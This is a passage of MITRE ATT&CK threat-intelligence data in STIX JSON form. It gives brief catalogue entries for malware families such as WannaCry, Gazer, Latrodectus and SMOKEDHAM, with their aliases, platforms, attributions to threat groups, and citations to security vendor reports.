is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Elise","BKDR_ESILE","Page"],"type":"malware","id":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","created":"2017-05-31T21:32:54.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0081","external_id":"S0081"},{"source_name":"Elise","description":"(Citation: Accenture Dragonfish Jan 2018)"},{"source_name":"BKDR_ESILE","description":"(Citation: Lotus Blossom Jun 2015)"},{"source_name":"Page","description":"(Citation: Lotus Blossom Jun 2015)"},{"source_name":"Accenture Dragonfish Jan 2018","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018.","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf"},{"source_name":"Lotus Blossom Jun 2015","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["USBferry"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","type":"malware","created":"2020-05-20T19:54:06.476Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0452","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0452"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-06-16T15:52:25.167Z","name":"USBferry","description":"[USBferry](https://attack.mitre.org/software/S0452) is an information stealing malware and has been used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) in targeted attacks against Taiwanese and Philippine air-gapped military environments. [USBferry](https://attack.mitre.org/software/S0452) shares an overlapping codebase with [YAHOYAH](https://attack.mitre.org/software/S0388), though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-08T22:20:20.868Z","name":"WannaCry","description":"[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Jan Miller, CrowdStrike"],"x_mitre_aliases":["WannaCry","WanaCry","WanaCrypt","WanaCrypt0r","WCry"],"type":"malware","id":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","created":"2019-03-25T17:30:17.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0366","external_id":"S0366"},{"source_name":"WanaCrypt0r","description":"(Citation: LogRhythm WannaCry)"},{"source_name":"WCry","description":"(Citation: LogRhythm WannaCry)(Citation: SecureWorks WannaCry Analysis)"},{"source_name":"WanaCry","description":"(Citation: SecureWorks WannaCry Analysis)"},{"source_name":"WanaCrypt","description":"(Citation: SecureWorks WannaCry Analysis)"},{"source_name":"FireEye WannaCry 2017","description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"},{"source_name":"SecureWorks WannaCry Analysis","description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis"},{"source_name":"Washington Post WannaCry 2017","description":"Dwoskin, E. and Adam, K. (2017, May 14). More than 150 countries affected by massive cyberattack, Europol says. Retrieved March 25, 2019.","url":"https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4"},{"source_name":"LogRhythm WannaCry","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/"},{"source_name":"US-CERT WannaCry 2017","description":"US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-132A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:28:51.206Z","name":"Gazer","description":"[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_contributors":["Bartosz Jerzman"],"x_mitre_aliases":["Gazer","WhiteBear"],"type":"malware","id":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0168","external_id":"S0168"},{"source_name":"Gazer","description":"(Citation: ESET Gazer Aug 2017)"},{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"ESET Crutch December 2020","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020.","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"},{"source_name":"WhiteBear","description":"The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)(Citation: ESET Crutch December 2020)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tatsuya Daitoku, Cyber Defense Institute, Inc."],"x_mitre_aliases":["TSCookie"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","created":"2020-05-06T15:43:49.556Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0436","url":"https://attack.mitre.org/software/S0436"},{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."},{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."},{"source_name":"JPCert BlackTech Malware September 2019","url":"https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html","description":"Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TSCookie](https://attack.mitre.org/software/S0436) is a remote access tool (RAT) that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) in campaigns against Japanese targets.(Citation: JPCert TSCookie March 2018)(Citation: JPCert BlackTech Malware September 2019). [TSCookie](https://attack.mitre.org/software/S0436) has been referred to as [PLEAD](https://attack.mitre.org/software/S0435) though more recent reporting indicates a separation between the two.(Citation: JPCert PLEAD Downloader June 2018)(Citation: JPCert BlackTech Malware September 2019)","modified":"2022-04-15T11:32:25.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"TSCookie","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-30T17:59:30.330Z","name":"Latrodectus","description":"[Latrodectus](https://attack.mitre.org/software/S1160) is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. [Latrodectus](https://attack.mitre.org/software/S1160) has most often been distributed through email campaigns, primarily by [TA577](https://attack.mitre.org/groups/G1037) and [TA578](https://attack.mitre.org/groups/G1038), and has infrastructure overlaps with historic [IcedID](https://attack.mitre.org/software/S0483) operations.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)(Citation: Bitsight Latrodectus June 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Riku Katsuse, NEC Corporation","Sareena Karapoola, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Cris Tomboc, Truswave SpiderLabs"],"x_mitre_aliases":["Latrodectus","IceNova","Unidentified 111"],"type":"malware","id":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","created":"2024-09-16T18:47:30.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1160","external_id":"S1160"},{"source_name":"IceNova","description":"(Citation: Bleeping Computer Latrodectus April 2024)"},{"source_name":"Unidentified 111","description":"(Citation: Bleeping Computer Latrodectus April 2024)"},{"source_name":"Bleeping Computer Latrodectus April 2024","description":"Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/"},{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-08T20:10:44.570Z","name":"Saint Bot","description":"[Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["Saint Bot"],"type":"malware","id":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","created":"2022-06-09T18:50:58.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1018","external_id":"S1018"},{"source_name":"Malwarebytes Saint Bot April 2021","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/"},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Pay2Key"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","type":"malware","created":"2021-01-04T15:12:14.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0556","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0556"},{"source_name":"ClearkSky Fox Kitten February 2020","url":"https://www.clearskysec.com/fox-kitten/","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."},{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-04-22T02:48:54.019Z","name":"Pay2Key","description":"[Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-24T21:17:54.342Z","name":"Chaes","description":"[Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Chaes"],"type":"malware","id":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","created":"2021-06-30T16:13:40.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0631","external_id":"S0631"},{"source_name":"Chaes","description":"(Citation: Cybereason Chaes Nov 2020)"},{"source_name":"Cybereason Chaes Nov 2020","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Briba"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--79499993-a8d6-45eb-b343-bf58dea5bdde","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0204","external_id":"S0204"},{"source_name":"Briba","description":"(Citation: Symantec Briba May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Briba May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"}],"modified":"2021-02-09T14:56:14.671Z","name":"Briba","description":"[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CharmPower"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","type":"malware","created":"2022-01-24T16:56:36.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0674","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0674"},{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:43:34.231Z","name":"CharmPower","description":"[CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:26:03.638Z","name":"TYPEFRAME","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["TYPEFRAME"],"type":"malware","id":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0263","external_id":"S0263"},{"source_name":"TYPEFRAME","description":"(Citation: US-CERT TYPEFRAME June 2018)"},{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["3PARA RAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a","type":"malware","created":"2017-05-31T21:32:44.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0066","external_id":"S0066"},{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-30T18:34:04.031Z","name":"3PARA RAT","description":"[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Bundlore","OSX.Bundlore"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","type":"malware","created":"2020-07-01T19:34:28.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0482","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0482"},{"source_name":"OSX.Bundlore","description":"(Citation: MacKeeper Bundlore Apr 2019)"},{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2022-02-10T15:37:37.795Z","name":"Bundlore","description":"[Bundlore](https://attack.mitre.org/software/S0482) is adware written for macOS that has been in use since at least 2015. Though categorized as adware, [Bundlore](https://attack.mitre.org/software/S0482) has many features associated with more traditional backdoors.(Citation: MacKeeper Bundlore Apr 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["P8RAT","HEAVYPOT","GreetCake"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9","type":"malware","created":"2021-06-21T15:02:47.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0626","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0626"},{"source_name":"HEAVYPOT","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"GreetCake","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-14T23:25:08.267Z","name":"P8RAT","description":"[P8RAT](https://attack.mitre.org/software/S0626) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["EVILNUM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","type":"malware","created":"2021-01-28T17:24:48.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0568","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0568"},{"source_name":"EVILNUM","description":"(Citation: Prevailion EvilNum May 2020)(Citation: ESET EvilNum July 2020)"},{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."},{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:52.922Z","name":"EVILNUM","description":"[EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["KOMPROGO"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0156","external_id":"S0156"},{"source_name":"KOMPROGO","description":"(Citation: FireEye APT32 May 2017)"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-30T16:53:45.307Z","name":"KOMPROGO","description":"[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-14T23:43:40.206Z","name":"SMOKEDHAM","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["SMOKEDHAM"],"type":"malware","id":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","created":"2021-09-22T20:11:08.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0649","external_id":"S0649"},{"source_name":"SMOKEDHAM","description":"(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)"},{"source_name":"FireEye SMOKEDHAM June 2021","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"},{"source_name":"FireEye Shining A Light on DARKSIDE May 2021","description":"FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 